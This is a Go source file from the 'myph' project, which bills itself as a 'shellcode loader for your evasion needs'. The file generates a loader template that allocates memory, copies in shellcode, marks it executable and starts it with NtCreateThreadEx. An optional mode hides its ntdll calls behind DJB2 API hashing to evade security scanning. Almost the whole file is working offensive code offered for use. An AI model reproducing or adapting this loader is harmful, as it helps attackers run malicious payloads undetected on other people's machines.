myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
ntCreateThreadEx.go (5715B)
      1 package loaders
      2 
      3 import (
      4 	"fmt"
      5 	"strings"
      6 )
      7 
      8 type NtCreateThreadExTemplate struct {
      9 	UseApiHashing bool
     10 	HashMethod    string
     11 }
     12 
     13 func (t NtCreateThreadExTemplate) Import() string {
     14 	if t.UseApiHashing {
     15 		return fmt.Sprintf(`
     16 import (
     17 	"fmt"
     18 	"log"
     19 	"os"
     20 	"syscall"
     21 	"unsafe"
     22 
     23 	"github.com/Binject/debug/pe"
     24 	loader "github.com/cmepw/myph/internals"
     25 )
     26         `)
     27 
     28 	}
     29 
     30 	return fmt.Sprintf(`
     31 import (
     32     "fmt"
     33     "log"
     34 	"syscall"
     35 	"unsafe"
     36 )
     37 `)
     38 }
     39 
     40 func (t NtCreateThreadExTemplate) Const() string {
     41 	// same consts with or without API Hashing
     42 
     43 	if t.UseApiHashing {
     44 		return fmt.Sprintf(`
     45         const (
     46             MEM_COMMIT = 0x1000
     47             MEM_RESERVE = 0x2000
     48             PAGE_EXECUTE_READ = 0x20
     49             PAGE_READWRITE = 0x04
     50         )
     51         `)
     52 	}
     53 
     54 	return fmt.Sprintf(`
     55     const (
     56             MEM_COMMIT = 0x1000
     57             MEM_RESERVE = 0x2000
     58             PAGE_EXECUTE_READ = 0x20
     59             PAGE_READWRITE = 0x04
     60         )
     61 
     62     var (
     63 
     64 	ntdll = syscall.MustLoadDLL("ntdll.dll")
     65 
     66     NtAllocateVirtualMemory = ntdll.MustFindProc("NtAllocateVirtualMemory")
     67     NtWriteVirtualMemory = ntdll.MustFindProc("NtWriteVirtualMemory")
     68     NtProtectVirtualMemory = ntdll.MustFindProc("NtProtectVirtualMemory")
     69     NtCreateThreadEx = ntdll.MustFindProc("NtCreateThreadEx")
     70     )
     71 `)
     72 
     73 }
     74 
     75 func (t NtCreateThreadExTemplate) Init() string {
     76 	return fmt.Sprintf("\n")
     77 }
     78 
     79 func (t NtCreateThreadExTemplate) Process() string {
     80 	if t.UseApiHashing {
     81 		return fmt.Sprintf(`
     82     ntdll, err := pe.Open("C:\\Windows\\System32\\ntdll.dll"); if err != nil {
     83         fmt.Println(err.Error())
     84         os.Exit(1)
     85     }
     86     defer ntdll.Close()
     87 
     88     var addr uintptr
     89 	regionsize := uintptr(len(shellcode))
     90 
     91     NtAllocateVirtualMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "32b0ac787d4dba31", ntdll)
     92 	if err != nil {
     93 		log.Fatal(err)
     94 	}
     95 
     96     rvalue := loader.HashedCall(
     97 		NtAllocateVirtualMemory,
     98 		uintptr(0xffffffffffffffff),
     99 		uintptr(unsafe.Pointer(&addr)),
    100 		0,
    101 		uintptr(unsafe.Pointer(&regionsize)),
    102 		MEM_COMMIT|MEM_RESERVE,
    103 		PAGE_READWRITE,
    104 	)
    105 
    106     if rvalue != 0 {
    107         fmt.Printf("Return value: %%x\n", rvalue)
    108         log.Fatal("Error: non-zero return value")
    109     }
    110 
    111     NtWriteVirtualMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "9ca2ab4726e0ba31", ntdll)
    112 	if err != nil {
    113 		log.Fatal(err)
    114 	}
    115 
    116     rvalue = loader.HashedCall(
    117         NtWriteVirtualMemory,
    118 		uintptr(0xffffffffffffffff),
    119 		addr,
    120 		uintptr(unsafe.Pointer(&shellcode[0])),
    121 		uintptr(len(shellcode)),
    122 		0,
    123     )
    124 
    125     if rvalue != 0 {
    126         fmt.Printf("Return value: %%x\n", rvalue)
    127         log.Fatal("Error: non-zero return value")
    128     }
    129 
    130 	var oldProtect uintptr
    131     NtProtectVirtualMemory, err := loader.LoadFunctionFromHash(loader.HashDJB2, "a9a7b2ecdd745a31", ntdll)
    132     if err != nil {
    133 		log.Fatal(err)
    134 	}
    135 
    136     rvalue = loader.HashedCall(
    137         NtProtectVirtualMemory,
    138 		uintptr(0xffffffffffffffff),
    139 		uintptr(unsafe.Pointer(&addr)),
    140 		uintptr(unsafe.Pointer(&regionsize)),
    141 		syscall.PAGE_EXECUTE_READ,
    142 		uintptr(unsafe.Pointer(&oldProtect)),
    143     )
    144 
    145 
    146     if rvalue != 0 {
    147         fmt.Printf("Return value: %%x\n", rvalue)
    148         log.Fatal("Error: non-zero return value")
    149     }
    150 
    151 	var hhosthread uintptr
    152     NtCreateThreadEx, err := loader.LoadFunctionFromHash(loader.HashDJB2, "76d3925c21b6534a", ntdll)
    153     if err != nil {
    154 		log.Fatal(err)
    155 	}
    156 
    157     rvalue =  loader.HashedCall(
    158         NtCreateThreadEx,
    159 		uintptr(unsafe.Pointer(&hhosthread)),
    160 		0x1FFFFF,
    161 		0,
    162 		uintptr(0xffffffffffffffff),
    163 		addr,
    164 		0,
    165 		uintptr(0),
    166 		0,
    167 		0,
    168 		0,
    169 		0,
    170     )
    171 
    172 	syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
    173 
    174 	if rvalue != 0 {
    175         fmt.Printf("Return value: %%x\n", rvalue)
    176 		log.Fatal("non-zero return value returned")
    177 	}
    178 
    179         `)
    180 	}
    181 
    182 	return fmt.Sprintf(`
    183 
    184     var addr uintptr
    185 	regionsize := uintptr(len(shellcode))
    186 
    187     rvalue, _, _ := NtAllocateVirtualMemory.Call(
    188 		uintptr(0xffffffffffffffff),
    189 		uintptr(unsafe.Pointer(&addr)),
    190 		0,
    191 		uintptr(unsafe.Pointer(&regionsize)),
    192 		MEM_COMMIT|MEM_RESERVE,
    193 		PAGE_READWRITE,
    194 	); if rvalue != 0 {
    195         fmt.Printf("Return value: %%x\n", rvalue)
    196         log.Fatal("Error: non-zero return value")
    197     }
    198 
    199     rvalue, _, _ = NtWriteVirtualMemory.Call(
    200 		uintptr(0xffffffffffffffff),
    201 		addr,
    202 		uintptr(unsafe.Pointer(&shellcode[0])),
    203 		uintptr(len(shellcode)),
    204 		0,
    205     ); if rvalue != 0 {
    206         fmt.Printf("Return value: %%x\n", rvalue)
    207         log.Fatal("Error: non-zero return value")
    208     }
    209 
    210     var oldProtect uintptr
    211     NtProtectVirtualMemory.Call(
    212 		uintptr(0xffffffffffffffff),
    213 		uintptr(unsafe.Pointer(&addr)),
    214 		uintptr(unsafe.Pointer(&regionsize)),
    215 		syscall.PAGE_EXECUTE_READ,
    216 		uintptr(unsafe.Pointer(&oldProtect)),
    217     ); if rvalue != 0 {
    218         fmt.Printf("Return value: %%x\n", rvalue)
    219         log.Fatal("Error: non-zero return value")
    220     }
    221 
    222     var hhosthread uintptr
    223     NtCreateThreadEx.Call(
    224 		uintptr(unsafe.Pointer(&hhosthread)),
    225 		0x1FFFFF,
    226 		0,
    227 		uintptr(0xffffffffffffffff),
    228 		addr,
    229 		0,
    230 		uintptr(0),
    231 		0,
    232 		0,
    233 		0,
    234 		0,
    235     )
    236 
    237     syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
    238     `)
    239 }
    240 
    241 func (t NtCreateThreadExTemplate) GetTemplate(targetProcess string) string {
    242 	InformProcessUnused(targetProcess)
    243 
    244 	var template = `
    245 package main
    246 
    247 __IMPORT__STATEMENT__
    248 
    249 __CONST__STATEMENT__
    250 
    251 func ExecuteOrderSixtySix(shellcode []byte) {
    252 
    253 __IMPORT__INIT__
    254 
    255 __IMPORT__PROCESS__
    256 
    257 }
    258 `
    259 	template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
    260 	template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
    261 	template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
    262 	template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
    263 
    264 	return template
    265 }